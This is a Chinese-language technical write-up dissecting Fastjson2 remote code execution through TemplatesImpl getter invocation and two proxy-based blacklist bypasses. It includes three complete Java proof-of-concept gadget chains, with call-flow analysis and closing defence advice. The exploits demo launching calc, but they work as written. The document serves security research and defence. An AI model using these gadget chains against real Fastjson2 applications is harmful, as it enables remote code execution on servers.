Fastjson2 RCE 深度剖析:从黑名单绕过到双代理链利用
字数 2338 2025-12-03 12:05:28
Fastjson2 RCE 漏洞分析与利用技术详解
前言
本文深入剖析 Fastjson2 ≤2.0.26 版本的序列化触发机制,并重点分析在 ≥2.0.27 版本下如何利用 Spring AOP 代理与 ObjectFactoryDelegatingInvocationHandler 双重动态代理链绕过黑名单限制,实现稳定 RCE。
环境搭建
依赖配置
<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.26</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
<dependency>
<groupId>xalan</groupId>
<artifactId>xalan</artifactId>
<version>2.7.2</version>
</dependency>
Fastjson2 ≤ 2.0.26 漏洞分析
恶意代码构造
import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
public class Main {
public static void main(String[] args) throws Exception {
// 使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd = "Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "1111");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
JSONObject jsonObject = new JSONObject();
jsonObject.put("1111", templates);
jsonObject.toString();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
序列化触发机制分析
-
toString() 方法调用流程
- 调用
JSONWriterUTF16JDK8.write()方法 - 使用迭代器获取 JSONObject 中的键值对
- 对 value 进行处理,主要在
JSONWriter.getObjectWrite()方法中
- 调用
-
ObjectWriter 创建过程
creator赋值为ObjectWriterCreatorASM类实例- 调用
BeanUtils.getters()方法遍历传入类的所有 public 方法 - 提取 getter 方法并放入
fieldWriterMap
-
ASM 代码生成
- 生成
OWG_1_3_TemplatesImpl类 - 通过
genMethodWrite()→gwFieldValue()→genGetObject()调用链 - 将 member 赋值为对应的 getter 方法
- 调用
visitMethodInsn()方法写入调用对应 getter 方法的代码
- 生成
-
getter 方法调用顺序
getOutputProperties()→getStylesheetDOM()→getTransletIndex()- 通过 TemplatesImpl 的 getter 方法触发恶意代码执行
Fastjson2 ≥ 2.0.27 黑名单绕过技术
黑名单机制分析
在 BeanUtils.getters() 方法中增加了黑名单检查,当检测到 TemplatesImpl 类时会直接 return,阻止后续操作。
绕过技术一:JdkDynamicAopProxy 链
依赖配置
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>5.3.19</version>
</dependency>
利用原理
-
代理类特性利用
- 代码只对代理类的接口调用 getters,不检查真实对象
- Templates 接口不在黑名单中
- TemplatesImpl 实现了该接口并额外提供 getOutputProperties() 方法
-
JdkDynamicAopProxy.invoke() 方法分析
- 当 chain 为空时调用
AopUtils.invokeJoinpointUsingReflection() - 通过反射调用目标对象的指定方法
- 当 chain 为空时调用
完整利用代码
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Main {
public static void main(String[] args) throws Exception {
// 使用 javassist 定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd = "Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "1111");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 构造 Spring AOP 代理
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Class<?> proxyClass = Proxy.getProxyClass(Main.class.getClassLoader(), Templates.class);
Constructor<?> constructor = proxyClass.getConstructor(InvocationHandler.class);
InvocationHandler handler = new org.springframework.aop.framework.JdkDynamicAopProxy(advisedSupport);
Object proxyObj = constructor.newInstance(handler);
JSONObject jsonObject = new JSONObject();
jsonObject.put("1111", proxyObj);
jsonObject.toString();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
调用流程
- Fastjson2 对代理对象进行序列化
- 反射调用 getOutputProperties() 方法
- JVM 将调用转发至 JdkDynamicAopProxy.invoke()
- 由于 advisors 为空,进入 if (chain.isEmpty()) 分支
- 通过 AopUtils.invokeJoinpointUsingReflection() 反射调用 TemplatesImpl.getOutputProperties()
- 加载并执行恶意字节码,完成 RCE
绕过技术二:ObjectFactoryDelegatingInvocationHandler 链
利用原理
-
ObjectFactoryDelegatingInvocationHandler.invoke() 分析
- 通过反射调用目标方法
- 需要控制 getObject() 过程返回恶意 TemplatesImpl 对象
-
JSONObject.invoke() 方法利用
- 根据 getter 方法格式获取属性名 "object"
- 通过 get() 方法从 map 中获取对应的 value 值
完整利用代码
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.beans.factory.ObjectFactory;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Main {
public static void main(String[] args) throws Exception {
// 使用 javassist 定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd = "Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "1111");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 第一个 JSONObject 代理
JSONObject jsonObject0 = new JSONObject();
jsonObject0.put("object", templates);
// 创建 ObjectFactory 接口的代理
ObjectFactory<?> objectFactoryProxy = (ObjectFactory<?>) Proxy.newProxyInstance(
Main.class.getClassLoader(),
new Class[]{ObjectFactory.class},
jsonObject0
);
// 反射创建 ObjectFactoryDelegatingInvocationHandler
Class<?> handlerClass = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
Constructor<?> constructor = handlerClass.getDeclaredConstructor(ObjectFactory.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(objectFactoryProxy);
// 创建最终的 Templates 代理
Templates proxy = (Templates) Proxy.newProxyInstance(
Main.class.getClassLoader(),
new Class[]{Templates.class},
handler
);
JSONObject jsonObject = new JSONObject();
jsonObject.put("1111", proxy);
jsonObject.toString();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
双重代理调用流程
-
第一层代理(ObjectFactory 接口)
- 调用 proxy0.getObject() 时进入 JSONObject.invoke()
- 解析为 getter → key = "object"
- 返回 jsonObject0.get("object") = templates
-
第二层代理(ObjectFactoryDelegatingInvocationHandler)
- Object target = objectFactory.getObject() 返回 templates
- return method.invoke(target, args) 在 templates 上调用方法
-
最终触发
- Fastjson2 序列化时自动调用 getOutputProperties()
- 经由两层代理最终执行 TemplatesImpl.getOutputProperties()
- 加载并运行恶意字节码,实现 RCE
技术要点总结
关键绕过技术
- 接口代理绕过黑名单:利用只检查接口不检查实现类的特性
- 双重代理链:通过多层代理转发方法调用
- 反射机制利用:动态创建代理对象和处理器
防御建议
- 及时升级 Fastjson2 到最新版本
- 严格限制反序列化操作
- 实施最小权限原则,限制执行敏感操作
- 使用安全防护产品检测和拦截恶意序列化数据
检测方法
- 监控 Fastjson2 反序列化操作
- 检测异常的代理对象创建行为
- 分析网络流量中的可疑序列化数据
本教学文档详细分析了 Fastjson2 RCE 漏洞的利用技术,包括历史版本漏洞原理和新版本绕过方法,为安全研究和防护提供全面参考。